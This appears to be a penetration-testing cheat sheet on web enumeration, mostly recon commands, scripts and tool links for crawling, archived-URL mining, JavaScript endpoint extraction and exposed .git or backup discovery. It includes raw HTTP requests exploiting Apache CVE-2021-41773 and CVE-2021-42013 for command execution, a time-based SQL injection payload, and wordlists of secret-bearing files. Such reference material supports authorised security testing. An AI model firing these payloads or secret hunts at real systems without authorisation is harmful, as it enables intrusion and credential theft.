> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/web-enumeration.md).

# Web Enumeration

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

## Recon

{% hint style="success" %}
*Also check for other exposed ports. Ex: 22, look for regsshion, etc. See*[ *Protocols*](/0xss0rz/pentest/protocols.md)
{% endhint %}

```
nmap -p 80,443,8000,8080,8180,8888,1000 --open -oA web_discovery -iL scope_list
```

{% embed url="<https://github.com/scmanjarrez/CVEScannerV2>" %}

{% embed url="<https://github.com/vulnersCom/nmap-vulners>" %}

Leverage Shodan and find CVE

{% embed url="<https://github.com/iamunixtz/Lazy-Hunter/tree/main>" %}

EyeWitness or Aquatone - **See** [**Information Gathering**](/0xss0rz/pentest/recon/information-gathering.md)

{% content-ref url="/pages/eRYeocv9Hb1m8yTiGavV" %}
[Fingerprinting / Crawling](/0xss0rz/pentest/recon/fingerprinting-crawling.md)
{% endcontent-ref %}

{% embed url="<https://github.com/blackhatethicalhacking/SecretOpt1c?s=03>" %}

{% embed url="<https://github.com/chm0dx/creepyCrawler>" %}

## SSL / TLS

{% embed url="<https://github.com/testssl/testssl.sh>" %}

{% embed url="<https://github.com/projectdiscovery/tlsx>" %}

## HTTP/2 - DoS

Basic vulnerability scanning to see if web servers may be vulnerable to CVE-2023-44487

{% embed url="<https://github.com/bcdannyboy/CVE-2023-44487>" %}

## HTTP Downgrading

HTTP downgrading is the process of forcing a request to be processed under HTTP/1.1 instead of HTTP/2.

1. Open Burp Suite and Navigate to Proxy → HTTP History &#x20;
2. Locate the request that is currently using HTTP/2.&#x20;
3. Send the Request to Repeater&#x20;
4. In the Repeater tab, open the "Inspector" panel → Request Attributes → Protocol &#x20;
5. Change HTTP Version to HTTP/1.1 &#x20;
6. Click "Send" in Repeater.

If successful, you should receive a valid response, confirming the server accepts HTTP/1.1.

Now, test for request smuggling

{% content-ref url="/pages/V1hfs9zunJ3waXeibqj7" %}
[HTTP Request Smuggling](/0xss0rz/pentest/web-attacks/http-request-smuggling.md)
{% endcontent-ref %}

## HTTP Methods

{% embed url="<https://github.com/ShutdownRepo/httpmethods>" %}

{% content-ref url="/pages/FdfHddWyfvIlPnhkmKMn" %}
[HTTP Verb Tampering](/0xss0rz/pentest/web-attacks/http-verb-tampering.md)
{% endcontent-ref %}

## Apache Vulnerability Testing

{% embed url="<https://github.com/mrmtwoj/apache-vulnerability-testing>" %}

{% embed url="<https://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898>" %}

{% embed url="<https://github.com/soltanali0/CVE-2024-40725>" %}

* CVE-2021-41773 (RCE and LFI)

```
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
Connection: close

echo;id
```

* CVE-2021-42013 (RCE and LFI)

```
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

echo;id
```

{% embed url="<https://github.com/trilokdhaked/Bug-Bounty-Methodology/blob/main/Technologies/Apache%20HTTP%20Server.md>" %}

## Scan for credz

{% embed url="<https://github.com/m14r41/scan4secrets>" %}

## Header Exploit

{% embed url="<https://github.com/c0dejump/HExHTTP?tab=readme-ov-file>" %}

## Common files

{% embed url="<https://github.com/Bo0oM/fuzz.txt>" %}

```
.git
.gitkeep
.git-rewrite
.gitreview
.git/HEAD
.gitconfig
.git/index
.git/logs
.svnignore
.gitattributes
.gitmodules
.svn/entries
.DS_Store
.env
debug.log
backup/
admin.bak
database.sql
composer.lock
```

`robots.txt`

-> robofinder: search for and retrieve historical `robots.txt` files from Archive.org for any given website.

{% embed url="<https://github.com/Spix0r/robofinder>" %}

`.git`

`.svn`

`.DS_Store`

`.env`

<figure><img src="/files/lwPLR92jGzGU3hgueKgA" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/lijiejie/ds_store_exp>" %}

```
# python ds_store_exp.py http://10.13.X.X/.DS_Store   
[200] http://10.13.X.X/.DS_Store
[200] http://10.13.X.X/JS/.DS_Store
[200] http://10.13.X.X/Images/.DS_Store
[200] http://10.13.X.X/dev/.DS_Store
<--SNIP-->
```

{% embed url="<https://buildthis.com/ds_store-files-and-why-you-should-know-about-them/>" %}

{% embed url="<https://hackernoon.com/what-happened-after-i-scanned-26-million-domains-for-exposed-ds_store-files>" %}

{% embed url="<https://cyberant.com/en/the-risk-of-ds_store/>" %}

## Cloudflare&#x20;

### Real IP adress

Tool developed to discover the real IP addresses of web applications protected by Cloudflare. It performs multi-source intelligence gathering through various methods.

{% embed url="<https://github.com/musana/CF-Hero>" %}

### Internal IP leakage

`/cdn-cgi/trace` on live hosts — it leaks internal IPs

## sitemap.xml

Time based SQL injection: sleep payload `[1;SELECT IF((8303>8302),SLEEP(9),2356)#]` = 9s

```
target[.]com/sitemap.xml?offset=1;SELECT IF((8303>8302),SLEEP(9),2356)# 
```

{% content-ref url="/pages/Dh9r9uiMPAgYlFGxZE2L" %}
[SQL Injection](/0xss0rz/pentest/web-attacks/sql-injection.md)
{% endcontent-ref %}

## Misconfigurations on popular third-party services

{% embed url="<https://github.com/intigriti/misconfig-mapper>" %}

<figure><img src="/files/5dYi9R0NvV7vnDZWO6Gr" alt=""><figcaption></figcaption></figure>

{% embed url="<https://blog.intigriti.com/hacking-tools/exploring-third-party-services-for-open-signups-security-risks-and-best-practices>" %}

## Git Exposed

DotGit Extension - Firefox and Chrome <https://addons.mozilla.org/en-US/firefox/addon/dotgit/>

```
cat domains.txt | nuclei -t gitExposed.yaml
```

Nuclei Template: <https://github.com/coffinxp/priv8-Nuclei/blob/main/git-exposed.yaml>

```yaml
id: git-exposed

info:
  name: Exposed Git Repository
  author: kaks3c
  severity: medium
  description: |
    Checks for exposed Git repositories by making requests to potential Git repository paths.
  tags: p3,logs,git

http:
  - raw:
      - |
        GET {{BaseURL}}{{path}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:119.0) Gecko/20100101 Firefox/119.0
        Accept: */*
        Accept-Language: en-US,en;q=0.5
        Connection: close

    attack: pitchfork
    payloads:
      path:
        - /.git/
        - /.git/HEAD
        - /.git/config
        - /.git/logs/HEAD
        - /.git/logs/
        - /.git/description
        - /.git/refs/heads/
        - /.git/refs/remotes/
        - /.git/objects/

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "commit (initial): Initial commit" #/.git/logs/HEAD
          - "ref: refs/heads/" #/.git/HEAD
          - "logallrefupdates = true" #/.git/config
          - "repositoryformatversion = 0" #/.git/config
          - "Index of /" #/.git/
          - "You do not have permission to access /.git/" #403_/.git
          - "Unnamed repository; edit this file 'description' to name the repository" #/.git/description

      - type: regex
        regex:
          - "info/\\s+\\d{4}-\\d{2}-\\d{2}\\s+\\d{2}:\\d{2}" #/.git/objects/
          - "pack/\\s+\\d{4}-\\d{2}-\\d{2}\\s+\\d{2}:\\d{2}" #/.git/objects/
          - "master/\\s+\\d{4}-\\d{2}-\\d{2}\\s+\\d{2}:\\d{2}" #/.git/refs/heads/
          - "origin/\\s+\\d{4}-\\d{2}-\\d{2}\\s+\\d{2}:\\d{2}" #/.git/refs/remotes/
          - "refs/\\s+\\d{4}-\\d{2}-\\d{2}\\s+\\d{2}:\\d{2}"  #/.git/logs/

    stop-at-first-match: true
```

`.git` found => download the target `.git` folder

```
wget -r -np -nH --cut-dirs=1 -R "index.html*" http://dev.dumpme.htb/.git/
```

Or with tools:

{% hint style="info" %}
*The best tool is goop*
{% endhint %}

{% embed url="<https://github.com/nyancrimew/goop>" %}

```
$ git clone https://github.com/deletescape/goop
$ cd goop
$ go build
$ ./goop http://dev.dumpme.htb  
```

{% embed url="<https://github.com/lijiejie/GitHack>" %}

{% embed url="<https://github.com/WangYihang/GitHacker>" %}

{% embed url="<https://github.com/Ebryx/GitDump>" %}

After that, search for creds, vulnerabilities, etc:

{% content-ref url="/pages/prJN0YrAWHmLEt6Z1Wkv" %}
[Credentials in git repos](/0xss0rz/pentest/recon/osint/credentials-in-git-repos.md)
{% endcontent-ref %}

{% content-ref url="/pages/lFZao0RJ0EteX7edGc1w" %}
[GitHub - finding vulnerabilities](/0xss0rz/pentest/recon/osint/github-finding-vulnerabilities.md)
{% endcontent-ref %}

## SVN Expoxed

{% embed url="<https://github.com/anantshri/svn-extractor>" %}

```
./svn-extractor.py --url http://url.com --match database.php
```

## PHPMyAdmin

`target[.]com/phpmyadmin/setup/index.php` ==> 301 to login page

`target[.]com/phpMyAdmin/setup/index.php` ==> 200 to phpmyadmin setup

## AdminDirectoryFinder

{% embed url="<https://github.com/tausifzaman/AdminDirectoryFinder>" %}

## WSAAR

{% embed url="<https://github.com/Nishacid/WSAAR>" %}

## OWASP Noir

{% embed url="<https://github.com/owasp-noir/noir>" %}

```
$ noir -b . -u http://example.com
$ noir -b . -u http://example.com --passive-scan
```

## Grab All URLs

```shellscript
#!/bin/bash

# Demander l'emplacement du fichier scope.txt
read -p "Entre l'emplacement du fichier scope.txt : " scope_file

# Vérifier si le fichier existe
if [ ! -f "$scope_file" ]; then
    echo "Erreur : Le fichier '$scope_file' n'existe pas."
    exit 1
fi

# Créer un fichier avec https:// devant chaque ligne
echo "Préparation du fichier avec https://..."
sed 's|^|https://|' "$scope_file" > scope_https.txt

# Lancer waybackurls
echo "Lancement de waybackurls..."
cat "$scope_file" | waybackurls > wayback.scope

# Lancer gau
echo "Lancement de gau..."
cat "$scope_file" | gau > gau.txt

# Lancer katana
echo "Lancement de katana..."
/home/thomas/Bureau/Tools/crawler/katana -list "$scope_file" -o katana.txt

# Lancer hakrawler
echo "Lancement de hakrawler..."
cat scope_https.txt | hakrawler > hakrawler.txt

# Lancer cariddi
echo "Lancement de cariddi..."
cat scope_https.txt | /home/thomas/Bureau/Tools/crawler/cariddi -ot cariddi.txt

mv output-cariddi/cariddi.txt.results.txt cariddi.txt

# Lancer urlfinder
echo "Lancement de urlfinder..."
/home/thomas/Bureau/Tools/crawler/urlfinder -list "$scope_file" -o urlfinder.txt

echo "Terminé !"
echo "- waybackurls : wayback.scope"
echo "- gau : gau.txt"
echo "- katana : katana.txt"
echo "- hakrawler : hakrawler.txt"
echo "- cariddi : cariddi.txt"
echo "- urlfinder : urlfinder.txt"

# Fusionner tous les fichiers et enlever les doublons
echo ""
echo "Fusion de tous les résultats et suppression des doublons..."
cat wayback.scope gau.txt katana.txt hakrawler.txt cariddi.txt urlfinder.txt | sort -u > urls_final.txt

echo "✓ Fusion terminée ! Résultat dans : urls_final.txt"
echo "Nombre total d'URLs uniques : $(wc -l < urls_final.txt)"

```

## URLScan.io

Check URLScan as a complement to Wayback Machine

{% content-ref url="/pages/ziUET1mKbgC3HbH4BP0f" %}
[Information Gathering](/0xss0rz/pentest/recon/information-gathering.md)
{% endcontent-ref %}

## Postman

<figure><img src="/files/21kgv80g0kKYStAFXVZV" alt=""><figcaption></figcaption></figure>

Domain name -> Workspace type Public

## WaybackLister

Reconnaissance tool that taps into the Wayback Machine to fetch historical URLs for a domain, parses unique paths, and checks if any of those paths currently expose **directory listings**

{% embed url="<http://github.com/anmolksachan/wayBackLister>" %}

```
python waybacklister.py -d target.com
```

## Wayback Machine

{% embed url="<https://github.com/mhmdiaa/chronos>" %}

```
# RECON METHOD BY ~/.COFFINXP

https://web.archive.org/cdx/search/cdx?url=*.example.com/*&collapse=urlkey&output=text&fl=original

curl -G "https://web.archive.org/cdx/search/cdx" --data-urlencode "url=*.example.com/*" --data-urlencode "collapse=urlkey" --data-urlencode "output=text" --data-urlencode "fl=original" > out.txt

cat out.txt | uro |  grep -E '\.xls|\.xml|\.xlsx|\.json|\.pdf|\.sql|\.doc|\.docx|\.pptx|\.txt|\.zip|\.tar\.gz|\.tgz|\.bak|\.7z|\.rar|\.log|\.cache|\.secret|\.db|\.backup|\.yml|\.gz|\.config|\.csv|\.yaml|\.md|\.md5|\.exe|\.dll|\.bin|\.ini|\.bat|\.sh|\.tar|\.deb|\.rpm|\.iso|\.img|\.apk|\.msi|\.dmg|\.tmp|\.crt|\.pem|\.key|\.pub|\.asc'
```

{% content-ref url="/pages/ziUET1mKbgC3HbH4BP0f" %}
[Information Gathering](/0xss0rz/pentest/recon/information-gathering.md)
{% endcontent-ref %}

{% embed url="<https://github.com/AnonKryptiQuz/TimeVault>" %}

{% embed url="<https://github.com/xnl-h4ck3r/waymore>" %}

```
waymore -i target.com -mode U -oU urls.txt
```

Download pages and extract JS (mode R)

```
waymore -i target.com -mode R --output-inline-js -ko "\.js$" -oR jsdump/*
```

{% embed url="<https://github.com/tomnomnom/waybackurls>" %}

{% embed url="<https://gist.github.com/mhmdiaa/adf6bff70142e5091792841d4b372050>" %}

## JWTxplorer

Scan public archives like the **Wayback Machine**, extracts leaked **JWT tokens**, and decodes them to identify potentially exploitable information.

{% embed url="<https://github.com/chaudharyarjun/JWTXposer>" %}

## Backup Files&#x20;

```
ffuf -w subdomains.txt:SUB -w payloads/backup_files_only.txt:FILE -u https://SUB/FILE -mc 200 -rate 50  -fs 0 -c -x http://localip:8080
```

{% embed url="<https://github.com/coffinxp/payloads/blob/main/backup_files_only.txt>" %}

### Fuzzili

{% embed url="<https://github.com/musana/fuzzuli>" %}

```
echo http://target.com | fuzzuli -p
```

### Burp Extension

{% embed url="<https://portswigger.net/bappstore/466bc6cbf5bb4449b56af7bd9c0000ea>" %}

## Archived Backups

{% embed url="<https://github.com/anmolksachan/WayBackupFinder>" %}

{% embed url="<https://anmolksachan.medium.com/unlock-hidden-backups-with-waybackupfinder-py-7b98041a82d9>" %}

Look for metadata

## Extract URLs and paths from web pages

### Manually

{% embed url="<https://x.com/renniepak/status/1602620834463588352>" %}

{% embed url="<https://0-a.nl/jsendpoints.txt>" %}

```
javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();
```

Open Console (ctrl + shift + i) + `Allow pasting` ("`autoriser le collage`") + copy paste JS code + click on bookmark

<figure><img src="/files/wP6ZlKefzgqGCiZRjsHO" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mE4hHez7GNseqItrnpge" alt=""><figcaption></figcaption></figure>

Source: NahamCon2024: .js Files Are Your Friends | @zseano <https://www.youtube.com/watch?v=fQoxjBwQZUA>

Extensions to run Javascript - No need to use the console

{% embed url="<https://addons.mozilla.org/en-US/firefox/addon/javascript/>" %}

{% embed url="<https://chromewebstore.google.com/detail/run-javascript/lmilalhkkdhfieeienjbiicclobibjao>" %}

Code to get URLs and unhide elements - Credits: `@coffinxp`

```
javascript:(function(){if(document.getElementById('lostsec-scanner'))return;let e=!1,t=[],n=document.createElement('div');n.id='lostsec-scanner',n.style='position:fixed;bottom:0;left:0;width:100%;height:350px;background:#181818;color:#00bcd4;z-index:999999;padding:20px;font-family:monospace;box-shadow:0 -2px 10px rgba(0,0,0,0.7);border-top:2px solid #00bcd4;overflow:hidden;';let o=document.createElement('div');o.style='position:absolute;top:0;left:0;width:100%;height:10px;background:#222;cursor:ns-resize;',n.appendChild(o);let i=!1,a=0,l=0;o.addEventListener('mousedown',r=>{i=!0,a=r.clientY,l=n.offsetHeight,r.preventDefault()});function d(r){if(i){let d=l-(r.clientY-a);d=Math.max(200,Math.min(d,window.innerHeight*.9)),n.style.height=d+'px';let s=document.getElementById('results-wrapper');s&&(s.style.maxHeight=d-140+'px')}}function c(){i=!1}document.addEventListener('mousemove',d),document.addEventListener('mouseup',c);let s=document.createElement('div');s.textContent='❌',s.style='position:absolute;top:10px;right:20px;font-size:18px;color:#ff4081;cursor:pointer;';function u(){e=!0,document.removeEventListener('mousemove',d),document.removeEventListener('mouseup',c),document.removeEventListener('keydown',f),n.remove(),t.forEach(e=>e.abort())}s.onclick=u,n.appendChild(s);let m=document.createElement('h3');m.textContent='🔍 Lostsec Uncover',m.style='margin:10px 0;color:#00bcd4;',n.appendChild(m);let v=document.createElement('input');v.placeholder='Search URLs...',v.style='width:100%;padding:6px;margin-bottom:10px;border-radius:4px;border:none;font-size:14px;outline:none;background:#222;color:#00bcd4;',n.appendChild(v);let y=document.createElement('div');y.style='margin-bottom:10px;display:flex;gap:10px;flex-wrap:wrap;';let h=document.createElement('button');h.textContent='📋 Copy All',h.style='padding:5px 10px;background:#222;color:#00bcd4;border:none;border-radius:3px;cursor:pointer;';let g=document.createElement('button');g.textContent='⬇️ Export .txt',g.style='padding:5px 10px;background:#222;color:#00bcd4;border:none;border-radius:3px;cursor:pointer;';let z=document.createElement('button');z.textContent='🪄 Unhide Elements',z.style='padding:5px 10px;background:#222;color:#00bcd4;border:none;border-radius:3px;cursor:pointer;';z.onclick=()=>{document.querySelectorAll('[disabled],[readonly]').forEach(el=>{el.removeAttribute('disabled');el.removeAttribute('readonly');});document.querySelectorAll('[style*="display: none"],.hidden').forEach(el=>{el.style.display='block';});document.querySelectorAll('[style*="pointer-events: none"],.grayed').forEach(el=>{el.style.pointerEvents='auto';el.style.opacity='1';});alert('✅ Disabled, readonly, and hidden elements are now active!');};let p=document.createElement('label');p.style='display:flex;align-items:center;gap:5px;color:#00bcd4;font-size:14px;cursor:pointer;';let b=document.createElement('input');b.type='checkbox',p.appendChild(b),p.appendChild(document.createTextNode('Domain only')),y.appendChild(h),y.appendChild(g),y.appendChild(z),y.appendChild(p),n.appendChild(y);let w=document.createElement('div');w.id='results',w.style='margin-top:10px;color:#00bcd4;';let k=document.createElement('div');k.id='results-wrapper',k.style='background:#222;padding:10px;border-radius:5px;max-height:180px;overflow:auto;margin-top:10px;',n.appendChild(w),n.appendChild(k),document.body.appendChild(n);let x=new URL(window.location.href).hostname;function f(r){'Escape'===r.key&&u()}document.addEventListener('keydown',f);let totalScripts=0,processedScripts=0,foundSet=new Set,domUrls=[];function updateProgress(){w.innerHTML=`<div style="margin:10px 0;color:#00bcd4">Scanning... (${processedScripts}/${totalScripts} scripts processed)</div>`}function updateResults(){let arr=[...new Set([...domUrls,...foundSet])];C=arr,T(arr)}async function scanExternalScripts(){let scripts=document.getElementsByTagName('script');totalScripts=Array.from(scripts).filter(s=>s.src).length,processedScripts=0;let regex=/["'`]\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=["'`])/g,promises=[];for(let s of scripts)if(s.src){let ctrl=new AbortController;t.push(ctrl),promises.push(fetch(s.src,{signal:ctrl.signal}).then(r=>r.text()).then(text=>{if(e)return;let matches=text.matchAll(regex);for(let m of matches)foundSet.add(m[0]);processedScripts++,updateProgress(),updateResults()}).catch(err=>{processedScripts++,updateProgress();'AbortError'!==err.name&&console.error(err)}))}await Promise.all(promises)}function L(){let e=new Set;document.querySelectorAll('a,script,img,link,form').forEach(t=>{t.href&&e.add(t.href),t.src&&e.add(t.src),t.action&&e.add(t.action)});let n=document.documentElement.innerHTML,o=/(?:url\(|href=|src=|action=|url:|endpoint:|path:|route:)\s*["']?([^"')\s>]+)(?=["'>\s])/gi,i;for(;null!==(i=o.exec(n));)i[1]&&!i[1].startsWith('data:')&&e.add(i[1]);(n.match(/"[^"]*"|'[^']*'/g)||[]).forEach(t=>{let n=/(?:\/[a-zA-Z0-9_-]+)+(?:\.[a-zA-Z0-9]+)?/g,o=t.match(n)||[];o.forEach(t=>e.add(t))}),performance.getEntriesByType('resource').forEach(t=>e.add(t.name));return Array.from(e).sort()}function T(n){k.innerHTML='';let o=n.filter(t=>{if(b.checked&&!t.includes(x))return!1;let n=v.value.toLowerCase();return!(n&&!t.toLowerCase().includes(n))});o.forEach(e=>{let t=document.createElement('div');t.style='color:#fff;margin:4px 0;padding:5px;background:#333;border-radius:3px;word-break:break-all;',t.textContent=e,k.appendChild(t)})}function U(e){return e.filter(t=>{if(b.checked&&!t.includes(x))return!1;let n=v.value.toLowerCase();return!(n&&!t.toLowerCase().includes(n))})}let C=[];v.addEventListener('input',()=>T(C)),b.addEventListener('change',()=>T(C)),h.addEventListener('click',()=>{let e=U(C);navigator.clipboard.writeText(e.join('\n')).then(()=>alert('✅ URLs copied!'))}),g.addEventListener('click',()=>{let e=U(C),t=new Blob([e.join('\n')]),n=document.createElement('a');n.href=URL.createObjectURL(t),n.download='lostsec_urls.txt',n.click()}),function init(){w.textContent='Scanning...';domUrls=L(),updateResults(),scanExternalScripts().then(()=>{if(e)return;w.innerHTML=`<div style="margin:10px 0;color:#00bcd4">✅ Scan complete! Found ${C.length} unique URLs & Endpoints on ${x}</div>`,T(C)}).catch(n=>{if(e)return;console.error(n),w.textContent='❌ Error during scan. Check console for details.'})}();})();
```

### [Crawling](#crawling-1)

### reKover

{% embed url="<https://github.com/BruteLogic/reKover>" %}

### Carridi

{% embed url="<https://github.com/edoardottt/cariddi>" %}

```
$ echo https://target.com/ | cariddi
$ cat target.txt | carridi
```

### Gourlex

```
gourlex -t domain.com
```

{% embed url="<https://github.com/trap-bytes/gourlex>" %}

### xnLinkFinder

{% embed url="<https://github.com/xnl-h4ck3r/xnLinkFinder>" %}

```
xnLinkfinder -i bugcrowd.com -sp https://www.bugcrowd.com -sf "bugcrowd.*" -d2 -v
```

Command breakdown:&#x20;

```
-i http://bugcrowd.com  → Target domain 
-sp https://bugcrowd.com  → Scope prefix 
-sf "bugcrowd.*" → Scope filter 
-d 2 → Crawl depth 
https://github.com/mhmdiaa/chronos
-v → Verbose output
```

### Hakrawler

{% embed url="<https://github.com/hakluke/hakrawler>" %}

```
echo https://google.com | hakrawler
```

### Waybackurls

{% embed url="<https://github.com/tomnomnom/waybackurls>" %}

### Katana & Urlfinder

```
katana -u https://tesla.com
```

{% embed url="<https://github.com/projectdiscovery/katana>" %}

```
urlfinder -d tesla.com
```

{% embed url="<https://github.com/projectdiscovery/urlfinder>" %}

### GetAllURL - gau

{% embed url="<https://github.com/lc/gau>" %}

```
gau https://target.com
```

### LinkFinder

{% embed url="<https://github.com/GerbenJavado/LinkFinder>" %}

```
python3 linkfinder.py -i https://example.com/app.js
```

```
$ python linkfinder.py -i 'js/*' -o result.html
$ python linkfinder.py -i 'js/*' -o cli
```

### GoLinkFinder

Faster than LinkFinder

{% embed url="<https://github.com/0xsha/GoLinkFinder>" %}

```
golinkfinder -file js_files.txt -output results.json
```

### LazyEgg

{% embed url="<https://github.com/schooldropout1337/lazyegg>" %}

### ReconSpider

See [Fingerprinting / Crawling](/0xss0rz/pentest/recon/fingerprinting-crawling.md)

## BadSecrets - Cookies

{% embed url="<https://github.com/blacklanternsecurity/badsecrets/tree/main>" %}

| Name                       | Description                                                                                                                            |
| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| ASPNET\_Viewstate          | Checks the viewstate/generator against a list of known machine keys.                                                                   |
| Telerik\_HashKey           | Checks patched (2017+) versions of Telerik UI for a known Telerik.Upload.ConfigurationHashKey                                          |
| Telerik\_EncryptionKey     | Checks patched (2017+) versions of Telerik UI for a known Telerik.Web.UI.DialogParametersEncryptionKey                                 |
| Flask\_SignedCookies       | Checks for weak Flask cookie signing password. Wrapper for [flask-unsign](https://github.com/Paradoxis/Flask-Unsign)                   |
| Peoplesoft\_PSToken        | Can check a peoplesoft PS\_TOKEN for a bad/weak signing password                                                                       |
| Django\_SignedCookies      | Checks django's session cookies (when in signed\_cookie mode) for known django secret\_key                                             |
| Rails\_SecretKeyBase       | Checks Ruby on Rails signed or encrypted session cookies (from multiple major releases) for known secret\_key\_base                    |
| Generic\_JWT               | Checks JWTs for known HMAC secrets or RSA private keys                                                                                 |
| Jsf\_viewstate             | Checks Both Mojarra and Myfaces implimentations of Java Server Faces (JSF) for use of known or weak secret keys                        |
| Symfony\_SignedURL         | Checks symfony "\_fragment" urls for known HMAC key. Operates on Full URL, including hash                                              |
| Express\_SignedCookies\_ES | Checks express.js express-session middleware for signed cookies and session cookies for known 'session secret'                         |
| Express\_SignedCookies\_CS | Checks express.js cookie-session middleware for signed cookies and session cookies for known secret                                    |
| Laravel\_SignedCookies     | Checks 'laravel\_session' cookies for known laravel 'APP\_KEY'                                                                         |
| ASPNET\_Vstate             | Checks for a once popular custom compressed Viewstate [code snippet](https://blog.sorcery.ie/posts/higherlogic_rce/) vulnerable to RCE |
| Rack2\_SignedCookies       | Checks Rack 2.x signed cookies for known secret keys                                                                                   |
| Yii2\_SignedCookies        | Checks Yii2 framework signed cookies for known cookie validation keys                                                                  |

## Secrets in Response

Detects sensitive information leaks in HTTP responses using custom regex-based signatures

{% embed url="<https://github.com/Ahmex000/Y-Leak-Scanner.go?s=03>" %}

## Metadata

{% content-ref url="/pages/PzxWrp79GI8EdtkRI6p9" %}
[Metadata and Hidden infos](/0xss0rz/pentest/recon/osint/metadata-and-hidden-infos.md)
{% endcontent-ref %}

## JS Files

### Sensitive JS Files

```
ffuf -w subdomains.txt:SUB -w payloads/senstivejs.txt:FILE -u https://SUB/FILE -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0" -fs 0 -c -mc 200 -fr false -rate 10 -t 10
```

{% embed url="<https://github.com/0xSs0rZ/payloads/blob/main/senstivejs.txt>" %}

```
/js/config.js
/js/credentials.js
/js/secrets.js
/js/keys.js
/js/password.js
/js/api_keys.js
/js/auth_tokens.js
/js/access_tokens.js
/js/sessions.js
/js/authorization.js 
/js/encryption.js
/js/certificates.js
/js/ssl_keys.js
/js/passphrases.js 
/js/policies.js
/js/permissions.js 
/js/privileges.js
/js/hashes.js
/js/salts.js
/js/nonces.js
/js/signatures.js
/js/digests.js
/js/tokens.js
/js/cookies.js
/js/topsecr3tdonotlook.js
```

### Burp

<figure><img src="/files/8cZNAWophMffXz8LChhu" alt=""><figcaption></figcaption></figure>

Source: NahamCon2024: *.js Files Are Your Friends* | @zseano <https://www.youtube.com/watch?v=fQoxjBwQZUA>

{% embed url="<https://kpwn.de/2023/05/javascript-analysis-for-pentesters/?s=03>" %}

<figure><img src="/files/6ZiQP5XTvsbFWFIkPvPc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/vGn9zIeR8rH6m1lnNn8U" alt=""><figcaption></figcaption></figure>

```
wget -i urls.txt
```

Detect secrets

```
./trufflehog filesystem ~/Downloads/js --no-verification --include-detectors="all"
```

Burp Extension

{% embed url="<https://portswigger.net/bappstore/514b964549874209b3a4f70ec54e915d>" %}

Code Analysis

{% content-ref url="/pages/aOTJAYAkbZbDV7Iij03k" %}
[Code Analysis](/0xss0rz/pentest/code-analysis.md)
{% endcontent-ref %}

```
semgrep scan --config auto
```

<figure><img src="/files/YxWdrt7N7RiqZ1X5Ghlu" alt=""><figcaption></figcaption></figure>

### JSFScan.sh

```
1 - Gather Jsfile Links from different sources.
2 - Import File Containing JSUrls
3 - Extract Endpoints from Jsfiles
4 - Find Secrets from Jsfiles
5 - Get Jsfiles store locally for manual analysis
6 - Make a Wordlist from Jsfiles
7 - Extract Variable names from jsfiles for possible XSS.
8 - Scan JsFiles For DomXSS.
9 - Generate Html Report.
```

{% embed url="<https://github.com/KathanP19/JSFScan.sh>" %}

```
bash JFScan.sh -l target.txt --all -r -o outputdir
```

{% embed url="<https://www.youtube.com/watch?v=Z13dnarKF-w>" %}

### Morgan

Identify sensitive information, vulnerabilities, and potential risks within JavaScript files on websites

{% embed url="<https://github.com/VFA250/Morgan>" %}

### Gouge - Burp extension to extract URLs which are seen in JS files

{% embed url="<https://github.com/mqst/gouge>" %}

### GetJS

{% embed url="<https://github.com/003random/getJS>" %}

### JSHunter

Endpoint Extraction and Sensitive Data Detection

```
cat urls.txt | grep "\.js" | jshunter
```

{% embed url="<https://github.com/cc1a2b/jshunter>" %}

### Javascript Deobfuscator

{% embed url="<https://github.com/ben-sb/javascript-deobfuscator>" %}

Online

{% embed url="<https://deobfuscate.io/>" %}

## API Endpoint - Burp History

{% embed url="<https://github.com/s0md3v/dump/tree/master/json2paths>" %}

<figure><img src="/files/ZYna90xhiYkeMSaBNIz3" alt=""><figcaption></figcaption></figure>

## API Endpoint in JS File

```
cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))" | sort -u
```

### JSNinja

{% embed url="<https://github.com/iamunixtz/JSNinja>" %}

### JS Link Finder

{% embed url="<https://portswigger.net/bappstore/0e61c786db0c4ac787a08c4516d52ccf>" %}

### Jsluice

{% embed url="<https://github.com/BishopFox/jsluice>" %}

{% embed url="<https://github.com/0x999-x/jsluicepp>" %}

